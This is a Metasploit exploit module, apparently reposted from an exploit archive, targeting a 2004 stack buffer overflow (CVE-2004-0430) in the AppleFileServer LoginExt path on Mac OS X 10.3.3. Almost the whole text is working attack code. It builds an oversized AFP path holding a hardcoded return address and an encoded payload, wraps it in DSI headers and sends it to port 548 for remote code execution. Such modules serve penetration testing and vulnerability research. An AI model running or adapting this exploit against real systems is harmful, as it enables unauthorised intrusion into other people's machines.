AppleFileServer (OSX) - LoginExt PathName Overflow (Metasploit)

##
# $Id: loginext.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AppleFileServer LoginExt PathName Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the AppleFileServer service
				on MacOS X. This vulnerability was originally reported by Atstake and
				was actually one of the few useful advisories ever published by that
				company. You only have one chance to exploit this bug.
				This particular exploit uses a stack-based return address that will
				only work under optimal conditions.
			},
			'Author'         => 'hdm',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2004-0430'],
					[ 'OSVDB', '5762'],
					[ 'BID', '10271'],
				],
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x00\x20",
					'MinNops'  => 128,
					'Compat'   =>
						{
							'ConnectionType' => "+find"
						}
				},
			'Targets'        =>
				[
					# Target 0
					[
						'Mac OS X 10.3.3',
						{
							'Platform' => 'osx',
							'Arch'     => ARCH_PPC,
							'Ret'      => 0xf0101c0c # stack address :<
						},
					],
				],
			'DisclosureDate' => 'May 3 2004'))

		# Configure the default port to be AFP
		register_options(
			[
				Opt::RPORT(548),
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		path          = "\xff" * 1024
		path[168, 4]  = Rex::Arch.pack_addr(target.arch, target.ret)
		path[172, payload.encoded.length] = payload.encoded

		# The AFP header
		afp = "\x3f\x00\x00\x00"

		# Add the authentication methods
		["AFP3.1", "Cleartxt Passwrd"].each { |m|
			afp << [m.length].pack('C') + m
		}

		# Add the user type and afp path
		afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)
		afp << "\x03" + [path.length].pack('n') + path

		# Add the data stream interface header
		dsi =
		[
			0,           # Flags
			2,           # Command
			rand(65536), # XID
			0,           # Data Offset
			afp.length,  # Data Length
			0            # Reserved
		].pack("CCnNNN") + afp

		sock.put(dsi)

		handler

		disconnect
	end

end